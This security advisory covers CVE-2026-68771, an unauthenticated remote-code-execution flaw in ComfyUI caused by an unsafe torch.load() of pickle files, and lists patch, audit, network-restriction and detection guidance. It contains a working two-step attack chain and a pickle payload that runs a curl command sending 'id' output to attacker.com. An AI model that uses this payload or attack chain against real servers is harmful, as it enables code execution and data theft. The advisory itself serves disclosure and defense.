SECURITYCRITICALCVE-2026-68771

CVE-2026-68771: ComfyUI Unsafe Pickle Deserialization Enables Unauthenticated RCE

ComfyUI v0.23.0 contains a critical unsafe deserialization vulnerability in the LoadTrainingDataset node. Unauthenticated attackers can upload a crafted...

Dylan H.

Security Team

August 1, 2026
4 min read
CVE-2026-68771: ComfyUI Unsafe Pickle Deserialization Enables Unauthenticated RCE

Critical severity

Rated critical. Prioritise patching — see the remediation guidance below.

Affected Products

  • ComfyUI v0.23.0 (LoadTrainingDataset node)

Executive Summary

A critical unsafe deserialization vulnerability (CVE-2026-68771) has been disclosed in ComfyUI v0.23.0, the popular open-source AI image generation workflow tool. The LoadTrainingDataset node processes uploaded files using torch.load() without the weights_only=True safety flag, allowing an unauthenticated remote attacker to execute arbitrary Python code by uploading a crafted pickle file and queueing a workflow. The vulnerability carries a CVSS 3.1 score of 9.8 (Critical) and a CVSS 4.0 score of 9.3.

A fix is available via Pull Request #14543 in the Comfy-Org/ComfyUI repository.


Vulnerability Overview

AttributeValue
CVE IDCVE-2026-68771
CVSS 3.1 Score9.8 (Critical)
CVSS 3.1 VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 4.0 Score9.3 (Critical)
CVSS 4.0 VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Published2026-07-31
CWECWE-502 (Deserialization of Untrusted Data)
Affected SoftwareComfyUI v0.23.0
Attack VectorNetwork (no authentication required)
Privileges RequiredNone
User InteractionNone
Fixed InPR #14543 (weights_only=True)

Root Cause

The LoadTrainingDataset node loads training data shards using torch.load() without the weights_only=True parameter:

# Vulnerable code (simplified)
data = torch.load(shard_path)  # weights_only defaults to False

Python's pickle format — which torch.load() uses by default — can invoke the __reduce__ method on arbitrary classes during deserialization. An attacker can craft a .pkl file that defines a malicious __reduce__ method that executes arbitrary shell commands when the object is reconstructed.

This was the only torch.load() call in the entire ComfyUI codebase lacking weights_only=True — every other call site (comfy/utils.py, comfy/sd1_clip.py) already included this protection.


Attack Chain

The exploit is a straightforward two-stage attack using only unauthenticated HTTP endpoints:

Stage 1 — Upload malicious pickle file
  POST /upload/image
  Content-Type: multipart/form-data
  [body: crafted shard_exploit.pkl with malicious __reduce__]
 
  → Server writes file to ComfyUI input/upload directory
 
Stage 2 — Trigger deserialization
  POST /prompt
  Content-Type: application/json
  { "prompt": { "1": { "class_type": "LoadTrainingDataset",
                       "inputs": { "dataset": "shard_exploit.pkl" } } } }
 
  → torch.load() deserializes the .pkl
  → __reduce__ fires → arbitrary Python/OS commands execute
  → RCE as the ComfyUI process user

Crafted Payload Example

import pickle, os
 
class Exploit:
    def __reduce__(self):
        return (os.system, ("curl http://attacker.com/exfil?id=$(id)",))
 
with open("shard_exploit.pkl", "wb") as f:
    pickle.dump(Exploit(), f)

Impact

ImpactDescription
Arbitrary Code ExecutionExecute any Python or OS command as the ComfyUI process
Model TheftExfiltrate locally cached model weights
Credential TheftRead API keys and tokens from environment/config files
GPU HijackingAbuse available GPU resources for cryptomining or other workloads
Lateral MovementPivot to other services accessible from the ComfyUI host

Remediation

Apply the Patch (PR #14543)

The fix adds weights_only=True to the LoadTrainingDataset node's torch.load() call:

# Patched code
data = torch.load(shard_path, weights_only=True)

Update ComfyUI to a release containing PR #14543 or apply the patch manually.

Verify Other torch.load() Calls

Audit your ComfyUI installation (including custom nodes) for any remaining unsafe torch.load() calls:

grep -rn "torch.load(" . --include="*.py" | grep -v "weights_only=True"

Network Isolation

If running ComfyUI as a shared service, restrict access to the /upload/image and /prompt endpoints:

# Nginx — restrict to trusted IPs only
location ~ ^/(upload|prompt) {
    allow 10.0.0.0/8;
    deny all;
}

Environment Variable Fallback

As an interim measure (PyTorch 2.0+), set the environment variable to force safe loading globally:

export TORCH_FORCE_WEIGHTS_ONLY_LOAD=1

Detection

IndicatorDescription
.pkl files in ComfyUI upload/input directoriesPotential malicious payloads
Unexpected outbound HTTP from ComfyUI hostPost-exploitation exfiltration
Anomalous subprocess spawning from PythonShell commands triggered by deserialization
Unusual GPU/CPU utilization spikesPossible cryptomining post-compromise

References